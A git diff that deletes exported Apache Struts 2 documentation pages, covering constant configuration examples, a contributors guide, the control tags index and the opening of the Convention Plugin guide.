-</div></div><p>Note: substitution is limited to System properties and ENV variables and works only for&#160;<code>constant</code>s (as for now).</p><h3 id="ConstantConfiguration-Sampleusage">Sample usage</h3><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Constant Example (struts.xml)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;struts&gt;
-
-  &lt;constant name="struts.devMode" value="true" /&gt;
-
-  ... 
-
-&lt;/struts&gt;
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Constant Example (struts.properties)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">struts.devMode = true
-</pre>
-</div></div><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Constant Example (web.xml)</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;web-app id="WebApp_9" version="2.4" 
-	xmlns="http://java.sun.com/xml/ns/j2ee" 
-	xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-	xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"&gt;
-
-    &lt;filter&gt;
-        &lt;filter-name&gt;struts&lt;/filter-name&gt;
-        &lt;filter-class&gt;org.apache.struts2.dispatcher.FilterDispatcher&lt;/filter-class&gt;
-        &lt;init-param&gt;
-        	&lt;param-name&gt;struts.devMode&lt;/param-name&gt;
-        	&lt;param-value&gt;true&lt;/param-value&gt;
-        &lt;/init-param&gt;
-    &lt;/filter&gt;
-
-    ...
-
-&lt;/web-app&gt;
-</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/contributors-guide.html b/content/docs/contributors-guide.html
deleted file mode 100644
index 1317875..0000000
--- a/content/docs/contributors-guide.html
+++ /dev/null
@@ -1,208 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Contributors Guide</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Contributors Guide</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14041">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14041">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14041">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14041">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14041">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14041">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>
-
-</p><h3 id="ContributorsGuide-Source">Source</h3>
-
-<ul><li><a shape="rect" href="building-the-framework-from-source.html">Building the Framework from Source</a>
-	<ul><li><a shape="rect" href="building-with-maven.html">Building with Maven</a></li></ul>
-	</li><li><a shape="rect" href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a></li><li><a shape="rect" href="requirements.html">Requirements</a> and <a shape="rect" href="use-cases.html">Use Cases</a> - <img class="emoticon emoticon-warning" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/warning.png" data-emoticon-name="warning" alt="(warning)"> <em>under construction</em></li><l [...]
-
-
-<h3 id="ContributorsGuide-Documentation">Documentation</h3>
-
-<ul><li><a shape="rect" href="editing-the-documentation.html">Editing the Documentation</a></li><li><a shape="rect" href="colophon.html">Documentation Colophon</a></li><li><a shape="rect" href="documentation-style-guide.html">Documentation Style Guide</a></li></ul>
-
-
-<h4 id="ContributorsGuide-CoreGuideTODOs">Core Guide TODOs</h4>
-
-<ul><li>Creating Resources</li><li>Writing Validators</li><li>Writing Type Converters</li><li>Actions</li><li>Writing Actions</li><li>Writing Results</li></ul>
-
-
-<h3 id="ContributorsGuide-LicensingandCopyright">Licensing and Copyright</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://people.apache.org/~cliffs/3party.html">Third Party Licensing Policy RFC</a></li><li><a shape="rect" class="external-link" href="http://www.apache.org/legal/src-headers.html">ASF Source Header and Copyright Notice Policy</a></li><li><a shape="rect" class="external-link" href="http://tinyurl.com/mw7t6" rel="nofollow">Author Tags</a></li></ul>
-
-
-<h2 id="ContributorsGuide-QuickLinks">Quick Links</h2>
-
-<ul><li><a shape="rect" class="external-link" href="https://issues.apache.org/struts/secure/ConfigureReport.jspa?versionId=21796&amp;selectedProjectId=10030&amp;reportKey=com.sourcelabs.jira.plugin.report.contributions%3Acontributionreport&amp;Next=Next">JIRA Contributors Report</a></li><li><a shape="rect" class="external-link" href="http://struts.apache.org/helping.html">How to Help FAQ</a></li><li><a shape="rect" class="external-link" href="http://struts.apache.org/bylaws.html">Project [...]
-
-
-<h3 id="ContributorsGuide-BleedingEdge">Bleeding Edge</h3>
-
-<ul><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsActionRelease202">Struts 2.0.2 Release Plan</a></li><li><a shape="rect" class="external-link" href="http://wiki.apache.org/struts/StrutsTi">Struts Ti Proposal</a></li><li><a shape="rect" class="external-link" href="http://wiki.opensymphony.com/display/XW/XWork2" rel="nofollow">XWork 2 Wiki</a></li></ul>
-
-
-<h2 id="ContributorsGuide-Backto">Back to <a shape="rect" href="guides.html">Guides</a></h2></div>
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/control-tags.html b/content/docs/control-tags.html
deleted file mode 100644
index c3de7c2..0000000
--- a/content/docs/control-tags.html
+++ /dev/null
@@ -1,146 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Control Tags</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="generic-tag-reference.html">Generic Tag Reference</a>&nbsp;&gt;&nbsp;<a href="control-tags.html">Control Tags</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Control Tags</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14108">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14108">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14108">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14108">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14108">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14108">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>Controls tags provide the ability to manipulate collections and conditionally produce content.</p>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body"><p>Please make sure you have read the <a shape="rect" href="tag-syntax.html">Tag Syntax</a> document and understand how tag attribute syntax works.</p></div></div>
-<ol><li><a shape="rect" href="if.html">if</a></li><li><a shape="rect" href="elseif.html">elseIf / elseif</a></li><li><a shape="rect" href="else.html">else</a></li><li><a shape="rect" href="append.html">append</a></li><li><a shape="rect" href="generator.html">generator</a></li><li><a shape="rect" href="iterator.html">iterator</a></li><li><a shape="rect" href="merge.html">merge</a></li><li><a shape="rect" href="sort.html">sort</a></li><li><a shape="rect" href="subset.html">subset</a></li></ol>
-
-
-<p>@see src/META-INF/taglib.tld </p>
-
-<h2 id="ControlTags-Next:">Next: <a shape="rect" class="createlink" href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=test&amp;title=Data+Tags">Data Tags</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/convention-plugin.html b/content/docs/convention-plugin.html
deleted file mode 100644
index 6468f98..0000000
--- a/content/docs/convention-plugin.html
+++ /dev/null
@@ -1,582 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Convention Plugin</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="plugin-developers-guide.html">Plugin Developers Guide</a>&nbsp;&gt;&nbsp;<a href="convention-plugin.html">Convention Plugin</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Convention Plugin</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105613">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=105613">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105613">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=105613">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105613">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=105613">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p><style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974176161 {padding: 0px;}
-div.rbtoc1488974176161 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1488974176161 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style></p><div class="toc-macro rbtoc1488974176161">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#ConventionPlugin-Introduction">Introduction</a></li><li><span class="TOCOutline">2</span> <a shape="rect" href="#ConventionPlugin-Setup">Setup</a></li><li><span class="TOCOutline">3</span> <a shape="rect" href="#ConventionPlugin-ConvertingaCodebehindbasedapplicationtoConvention">Converting a Codebehind based application to Convention</a></li><li><span class="TOCOutline">4</span> <a shape="rect" href= [...]
-<ul class="toc-indentation"><li><span class="TOCOutline">6.1</span> <a shape="rect" href="#ConventionPlugin-Multiplenames">Multiple names</a></li></ul>
-</li><li><span class="TOCOutline">7</span> <a shape="rect" href="#ConventionPlugin-Chaining">Chaining</a></li><li><span class="TOCOutline">8</span> <a shape="rect" href="#ConventionPlugin-XWorkpackages">XWork packages</a></li><li><span class="TOCOutline">9</span> <a shape="rect" href="#ConventionPlugin-Annotationreference">Annotation reference</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">9.1</span> <a shape="rect" href="#ConventionPlugin-Actionannotation">Action annotation</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">9.1.1</span> <a shape="rect" href="#ConventionPlugin-Applying@Actionand@Actionsattheclasslevel">Applying @Action and @Actions at the class level</a></li></ul>
-</li><li><span class="TOCOutline">9.2</span> <a shape="rect" href="#ConventionPlugin-InterceptorRefannotation">InterceptorRef annotation</a></li><li><span class="TOCOutline">9.3</span> <a shape="rect" href="#ConventionPlugin-Resultannotation">Result annotation</a></li><li><span class="TOCOutline">9.4</span> <a shape="rect" href="#ConventionPlugin-Namespaceannotation">Namespace annotation</a></li><li><span class="TOCOutline">9.5</span> <a shape="rect" href="#ConventionPlugin-ResultPathann [...]
-</li><li><span class="TOCOutline">10</span> <a shape="rect" href="#ConventionPlugin-Actionsinjarfiles">Actions in jar files</a></li><li><span class="TOCOutline">11</span> <a shape="rect" href="#ConventionPlugin-Automaticconfigurationreloading">Automatic configuration reloading</a></li><li><span class="TOCOutline">12</span> <a shape="rect" href="#ConventionPlugin-JBoss">JBoss</a></li><li><span class="TOCOutline">13</span> <a shape="rect" href="#ConventionPlugin-Jetty(embedded)">Jetty (emb [...]
-<ul class="toc-indentation"><li><span class="TOCOutline">14.1</span> <a shape="rect" href="#ConventionPlugin-Tips">Tips</a></li><li><span class="TOCOutline">14.2</span> <a shape="rect" href="#ConventionPlugin-CommonErrors">Common Errors</a></li></ul>
-</li><li><span class="TOCOutline">15</span> <a shape="rect" href="#ConventionPlugin-Overwritingpluginclasses">Overwriting plugin classes</a></li><li><span class="TOCOutline">16</span> <a shape="rect" href="#ConventionPlugin-Configurationreference">Configuration reference</a></li></ul>
-</div><h1 id="ConventionPlugin-Introduction">Introduction</h1><p>The Convention Plugin is bundled with Struts since 2.1 and replaces the <a shape="rect" href="codebehind-plugin.html">Codebehind Plugin</a> and Zero Config plugins. It provides the following features:</p><ul><li>Action location by package naming conventions</li><li>Result (JSP, FreeMarker, etc) location by naming conventions</li><li>Class name to URL naming convention</li><li>Package name to namespace convention</li><li>SEO [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;dependency&gt;
-    &lt;groupId&gt;org.apache.struts&lt;/groupId&gt;
-    &lt;artifactId&gt;struts2-convention-plugin&lt;/artifactId&gt;
-    &lt;version&gt;X.X.X&lt;/version&gt;
-&lt;/dependency&gt;
-</pre>
-</div></div><p>Where X.X.X is the current version of Struts 2. Please remember that the Convention Plugin is available from version 2.1.6.</p><h1 id="ConventionPlugin-ConvertingaCodebehindbasedapplicationtoConvention">Converting a Codebehind based application to Convention</h1><p>See <a shape="rect" href="converting-application-from-codebehind-to-convention-plugin.html">this page</a> for the required changes and tips.</p><p>If you are using REST with the Convention plugin, make sure you  [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.convention.action.suffix" value="Controller"/&gt;
-&lt;constant name="struts.convention.action.mapAllMatches" value="true"/&gt;
-&lt;constant name="struts.convention.default.parent.package" value="rest-default"/&gt;
-</pre>
-</div></div><h1 id="ConventionPlugin-Helloworld">Hello world</h1><p>Now that the Convention plugin has been added to your application, let's start with a very simple example. This example will use an actionless result that is identified by the URL. By default, the Convention plugin assumes that all of the results are stored in <strong>WEB-INF/content</strong>. This can be changed by setting the property <code>struts.convention.result.path</code> in the Struts properties file to the new l [...]
-<pre class="brush: html; gutter: false; theme: Default" style="font-size:12px;">&lt;html&gt;
-&lt;body&gt;
-Hello world!
-&lt;/body&gt;
-&lt;/html&gt;
-</pre>
-</div></div><p>If you start Tomcat (or whichever J2EE container you are using) and type in <a shape="rect" class="external-link" href="http://localhost:8080/hello-world" rel="nofollow">http://localhost:8080/hello-world</a>&#160;(assuming that your context path is "<code>/</code>", ie. starting application from Eclipse) into your browser you should get this result:</p><div class="code panel pdl" style="border-style: solid;border-width: 1px;"><div class="codeHeader panelHeader pdl" style=" [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">Hello world!
-</pre>
-</div></div><p>This illustrates that the Convention plugin will find results even when no action exists and it is all based on the URL passed to Struts.</p><h1 id="ConventionPlugin-Codebehindhelloworld">Code behind hello world</h1><p>Let's expand on this example and add a code behind class. In order to do this we need to ensure that the Convention plugin is able to find our action classes. By default, the Convention plugin will find all action classes that implement <code>com.opensymphon [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">com.example.actions.MainAction
-com.example.actions.products.Display (implements com.opensymphony.xwork2.Action)
-com.example.struts.company.details.ShowCompanyDetailsAction
-</pre>
-</div></div><p>Each of the action classes that the plugin finds will be configured to respond to specific URLs. The URL is based on the package name that the class is defined in and the class name itself. First the plugin determines the namespace of the URL using the package names between the root package and the package the class is defined in. For our examples above, the namespaces would be:</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pd [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">com.example.actions.MainAction -&gt; /
-com.example.actions.products.Display -&gt; /products
-com.example.struts.company.details.ShowCompanyDetailsAction -&gt; /company/details
-</pre>
